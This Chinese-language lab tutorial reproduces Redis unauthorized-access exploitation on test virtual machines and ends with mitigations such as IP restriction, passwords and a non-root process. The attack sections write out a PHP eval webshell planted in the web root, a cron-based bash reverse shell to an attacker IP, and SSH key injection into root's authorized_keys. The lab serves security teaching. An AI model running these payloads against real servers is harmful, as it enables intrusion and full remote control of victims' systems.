1 Redis简介
Redis是一个开源的内存数据库管理系统,它被广泛用于缓存、消息队列和实时数据分析等应用场景。Redis支持多种数据结构,包括字符串、列表、集合、有序集合和哈希表,可以通过简单的键值对方式存储和检索数据。由于其高性能和低延迟特性,Redis常用于加速数据访问,提高应用程序的响应速度。
此外,Redis还提供了持久化选项,允许数据在重启后仍然可用,使其适用于各种持久性存储需求。这一特性使得Redis成为了一个非常强大的数据存储和缓存解决方案,特别适用于需要快速读写操作的应用场景。因此,许多大型互联网公司和开发者社区都广泛采用Redis,将其视为提升系统性能和可靠性的关键工具。
2 实验内容
Redis未授权访问漏洞是一种安全漏洞,可能导致未经授权的用户或攻击者访问Redis数据库,甚至修改或删除其中的数据。这种漏洞通常发生在管理员未正确配置Redis实例的访问控制和认证机制时。
本次实验利用Redis持久化机制与动态修改分配机制,复现以下三种利用方式:
- webshell提权
- 定时任务+反弹连接提权
- ssh key免密登录
除了这些利用方式,Redis还有其他很多利用方式,如jackson发序列化,lua RCE,主从复制RCE等。
3 实验环境准备
本次实验所有命令均在最高权限root下执行。
3.1 准备Redis服务器
3.1.1 下载安装Redis
本次实验用CentOS 7进行Redis环境安装,Redis版本为6.0.9,首先准备一台CentOS 7虚拟机,执行如下命令安装Redis:
wget -P /usr/local/soft/ https://download.redis.io/releases/redis-6.0.9.tar.gz
其中 /usr/local/soft/ 为指定的下载目录,可修改。
解压安装包:
tar -zxvf redis-6.0.9.tar.gz
Redis 是用 C 语言编写的,需要使用 GCC 编译器编译。然而,Redis 6.x.x 版本引入了多线程支持,要使用这个功能,需要安装 GCC 版本大于 4.9。
CentOS 7 默认的 GCC 版本是 4.8.5,所以需要手动升级 GCC 到 4.9 或更高版本,以便使用 Redis 6.x.x 的多线程功能。
升级gcc命令:
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++
devtoolset-9-binutils
scl enable devtoolset-9 bash
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
确认gcc的版本:
gcc -v
查看回显的版本信息:
进入到 /usr/local/soft/redis-6.0.9/src 目录下,执行编译安装命令:
make install
安装后 src 目录下面出现服务端和客户端的脚本:
3.1.2 修改配置文件
默认的配置文件是 /usr/local/soft/redis-6.0.9/redis.conf
首先注释掉 bind 127.0.0.1 否则只能在本机访问。(vim编辑器中可按下 /
键,然后输入要搜索的文本,按 Enter 键进行搜索。按下 n
跳转到下一个匹配项,按下 N
跳转到上一个匹配项。)
关闭保护模式,找到protected-mode并设置为no:
可以通过 requirepass 设置密码,本次实验可以先不设。
3.1.3 启动Redis服务器
为了方便命令输入,在 .bashrc 中为启动服务器命令配置redis别名,启动客户机命令配置rcli别名:
vim ~/.bashrc
alias redis='/usr/local/soft/redis-6.0.9/src/redis-server
/usr/local/soft/redis-6.0.9/redis.conf'
alias rcli='/usr/local/soft/redis-6.0.9/src/redis-cli'
保存后source使得编译生效。
source ~/.bashrc
新开一个终端,下面直接输入 redis 启动服务器。
下面在本机连接Redis,输入
redis-cli -h 127.0.0.1 -p 6379
连接成功后,输入
config get protected-mode
查看回显是否为保护模式。
如果回显为保护模式,需要在这里关掉:
config set protected-mode no
再次确定关闭了保护模式:
3.2 搭建网站
为了验证一句话木马上传,在服务端主机中简单模拟一个网站。
(1)安装 httpd 服务。
yum install httpd -y
(2)下载客户端。
yum install curl -y
(3)关闭防火墙。
systemctl stop firewalld.service
systemctl disable firewalld.service
(4)安装php服务
yum install php libapache2-mod-php
(5)启动服务
systemctl start httpd
进入得网站的根目录 /var/www/html ,创建一个 index.html ,简单写一个前端:
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>欢迎访问我们的网站</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
margin: 0;
padding: 0;
text-align: center;
}
.welcome-container {
background-color: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
margin: 100px auto;
max-width: 600px;
}
h1 {
color: #333;
}
p {
color: #666;
}
a {
text-decoration: none;
color: #007bff;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="welcome-container">
<h1>欢迎访问我们的网站</h1>
<p>感谢您光临我们的网站。我们致力于提供优质的服务和内容。</p>
<p>了解更多信息,请访问我们的 <a href="#">关于页面</a>。</p>
</div>
</body>
</html>
3.3 准备Redis客户机
这里用Redis客户机模拟攻击机。为了方便起见,可以将上面配置好的Redis服务器虚拟机复制一份作为攻击机。
修改攻击机ip,保证攻击机ip与服务器ip不同:
vi /etc/sysconfig/network-scripts/ifcfg-ens33
修改其中的 IPADDR 作为攻击机ip地址。为保证实验稳定性,将 BOOTPROTO 的值改为 static,保证ip不会改变。服务器如果是dhcp也需改为静态。
在服务端已经准备完毕的情况下,连接Redis:
redis-cli -h <填写服务机的ip> -p 6379
3.4 环境测试
攻击机成功连接Redis后,尝试输入一些命令查看能否回显成功。
在同一个局域网内用另一个主机访问搭建好的网站(直接输入服务机ip),查看能否访问。
4 Redis 持久化机制
Redis 使用两种主要的持久化机制来确保数据在重启或故障恢复时不丢失:RDB快照和AOF日志。
RDB快照(Redis DataBase):
RDB是一种周期性将内存中的数据快照保存到磁盘上的机制,是一种紧凑的二进制文件,用于备份和恢复数据。可以配置Redis在不同的时间点生成RDB快照,例如,可以每隔一段时间自动创建一个快照,或者通过命令手动创建。
AOF日志(Append-Only File):
AOF日志是一种追加写入的日志文件,它记录了Redis服务器接收的每个写操作命令。AOF日志使Redis可以在重启时重新执行这些命令,从而实现数据的持久化。可以选择将AOF日志设置为不同的同步模式,例如,每次写操作都同步到磁盘,或者按一定时间间隔同步。
Redis还提供了一种混合持久化的方式,即同时启用RDB快照和AOF日志。这样,即使在意外重启时,仍然可以使用RDB来快速恢复数据,同时使用AOF来保证更精确的数据完整性。
要配置Redis的持久化机制,需要编辑Redis的配置文件(通常是redis.conf),并相应地调整以下配置选项:
- save: 用于配置RDB快照的触发条件,如 save 3600 1。
- appendonly: 用于启用AOF日志。
- appendfsync: 用于配置AOF同步模式。
- dbfilename dump.rdb 保存文件名
持久化机制的选择取决于具体的需求和应用场景。如果需要更高的数据完整性和可靠性,可以选择使用AOF,但需要考虑性能开销。如果对性能要求更高,可以只使用RDB,但在某些情况下可能会有一些数据丢失。
5 webshell提权
5.1 上传木马
如果攻击者已经知道网站根目录的位置,可以将Redis持久化数据文件存储目录设置到这个路径,将一句话木马写入网站根目录中。
攻击机连接到Redis服务器后,输入以下命令:
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save
解释:
config set dir /var/www/html 用于配置Redis的持久化数据文件存储目录。它将持久化数据文件的存储路径设置为 /var/www/html
,这是网站根目录的位置。
config set dbfilename shell.php:用于配置Redis的持久化数据文件的文件名。它将持久化数据文件的文件名设置为 shell.php
,这是一个PHP脚本文件的名称。
set x "<?php @eval($_POST[123]); ?>":将一个名为"x"的键的值设置为一个一句话木马。
save 用于触发Redis的持久化操作,将当前内存中的数据保存到磁盘上的持久化数据文件中。在这种情况下,它将保存包含上述PHP Webshell的数据到指定的目录和文件中。
上面命令的目的是将一个PHP Webshell注入到Redis的持久化数据文件中,然后将该文件存储在指定的网站根目录下。允许攻击者执行恶意操作并获取对网站的控制权。
5.2 检验
在服务端的网站根路径下,查看木马是否成功上传:
打开蚁剑,能够连接到网站并执行命令。
6 反弹连接
6.1 反弹连接原理
反弹连接是指攻击者通过漏洞或恶意软件在目标计算机上建立一个与自己控制的远程服务器的连接,从而实现对目标计算机的远程控制。这种连接通常是“反向”的,因为它不是目标计算机主动连接攻击者的服务器,而是相反,攻击者的服务器主动连接到目标计算机,绕过了常规网络防火墙的检测。一旦建立了反弹连接,攻击者可以执行各种操作,包括执行命令、窃取数据、植入恶意软件等,从而对目标系统进行操控。
不适合正向连接的情况:
- 服务机无法被外网连接
- 服务机ip动态变化
- 无法对6379端口发送请求
- 杀软查杀一句话木马
反弹连接流程:
- 攻击者需要在自己的系统上运行监听器程序,以侦听来自目标系统的连接请求。
- 攻击者利用漏洞,将尝试连接到攻击者监听器的恶意代码注入到目标系统上。
- 一旦目标系统上的恶意代码执行,它将尝试与攻击者的监听器建立连接。这个连接是从目标系统到攻击者的系统,因此称为反弹连接。
- 一旦建立了反弹连接,攻击者就可以在目标系统上执行命令,获取远程访问权限,并控制目标系统。
常见的建立反弹连接的恶意代码有很多,这里不再一一介绍。本实验采用常见的bash反弹连接:
bash -i >& /dev/tcp/(攻击机ip)/(攻击机监听的端口) 0>&1
前面bash -i 表示启动一个交互式的 Bash shell,该 shell 将用于与靶机建立连接。
>& 将标准错误输出合并到标准输出中。
/dev/tcp/(攻击机ip)/(攻击机监听的端口) 这部分使用 Bash 的特性,尝试将 Bash shell 的输入和输出重定向到攻击者的机器的指定 IP 地址和端口。这意味着攻击者试图建立到指定 IP 地址和端口的网络连接,并将连接的输入和输出与 Bash shell 相关联,以便远程控制靶机。
0>&1 将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),确保 shell 的输入和输出都被连接到网络连接上。实现在靶机上执行命令。
上面命令在靶机上打开一个交互式bash终端,和攻击机建立远程连接,把终端发给控制机,在控制机上输入命令,攻击者可以在靶机上执行命令并得到这些命令的执行结果。
6.2 Redis建立反弹连接
首先在攻击机上监听一个端口,这里监听的是7777端口:
nc -lvp 7777
攻击机上连接到靶机Redis,执行下面的命令:
flushall
set x "\n* * * * * bash -i >& /dev/tcp/(攻击机ip)/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
解释:
flushall 用于清空Redis数据库的数据。
set x "\n* * * * * bash -i >& /dev/tcp/(攻击机ip)/7777 0>&1\n" x的值设为恶意命令,创建一个计划任务(cron job),每分钟执行一次一个 Bash 命令,将 Bash 的输出和错误输出重定向到指定的 IP 地址和端口,以远程连接攻击者的机器。
后面两个命令和上一个实验一样,修改Redis 的持久化目录。/var/spool/cron/
是用于存储与定时任务相关的文件目录。持久化文件的名称设置为 "root",可以试图混淆系统管理员,让他们认为这个持久化文件是与 root 用户相关的。
6.3 检验
一分钟后查看监听的终端:
看到Ncat已经连接到了靶机。
- 用ifconfig 查看ip是否为靶机ip,执行时需要先将
/usr/sbin/ifconfig
连接到/usr/bin/ifconfig。
ln -s /usr/sbin/ifconfig /usr/bin/ifconfig
ifconfig
成功连接后就可以在靶机尝试执行各种命令了。
7 SSH keys 免密登录
SSH keys 免密登录是通过使用 SSH(Secure Shell)协议中的密钥对来实现无需输入密码即可登录到远程服务器的一种方式。
- 生成密钥对: 用户在本地计算机生成一对 SSH 密钥,包括公钥和私钥。
- 传送公钥至服务器: 用户将生成的公钥复制到目标服务器上的
~/.ssh/authorized_keys
文件中。 - 私钥本地保存: 用户保留私钥在本地,通常存储在
~/.ssh/
目录下。 - 登录时的验证: 当用户尝试通过 SSH 连接到服务器时,服务器会验证用户提供的公钥是否匹配服务器上存储的相应私钥。
这样的机制允许用户在不输入密码的情况下通过 SSH 安全地登录到远程服务器。这对于自动化任务、脚本执行或减少手动输入密码的需求非常有用。
攻击者可以自己生成一个公钥和私钥,利用Redis连接将公钥上传到靶机的指定目录,此时攻击者就可以利用生成好的私钥进行对靶机的免密远程登录。
首先在靶机的根目录下创建 .ssh 空文件(如果没有的话)。
在攻击机上,输入命令生成公钥和私钥:
ssh-keygen
可以看到在当前目录下生成了一个 .ssh 隐藏文件。
进入到文件中可以看到生成的公钥和私钥:
然后将生成的公钥复制下来:
下一步需要利用Redis持久化机制,将我们生成的公钥传到靶机的指定目录,攻击机上连接到靶机Redis后输入命令:
set x "\n\n(填入公钥)\n\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save
写入成功后,尝试用自己的私钥连接靶机:
ssh -i ./id_rsa root@(靶机ip)
忽略安全提示,直接输入yes继续连接,成功远程连接到靶机。
8 防范措施
-
限制访问IP: 将 Redis 部署在安全的环境(如内网)并限制访问IP是一种有效的安全措施。可以配置 Redis 只允许特定IP地址或IP地址范围的机器连接到数据库服务器。
-
修改默认端口: 默认端口(6379)是众所周知的,攻击者可以尝试利用这一点来攻击 Redis 服务器。修改默认端口可以增加安全性。
-
使用密码访问: 为Redis 数据库设置访问密码(requirepass配置项),确保密码强度足够高,这样,只有知道密码的人才能连接到数据库。
-
不要使用root权限: 避免在 Redis 服务器上使用 root 权限来运行 Redis 进程。如果 Redis 进程受到攻击,攻击者可能会获得 root 权限,将对整个系统的安全构成威胁。使用一个普通的非特权用户来运行 Redis 进程,以限制攻击的潜在影响。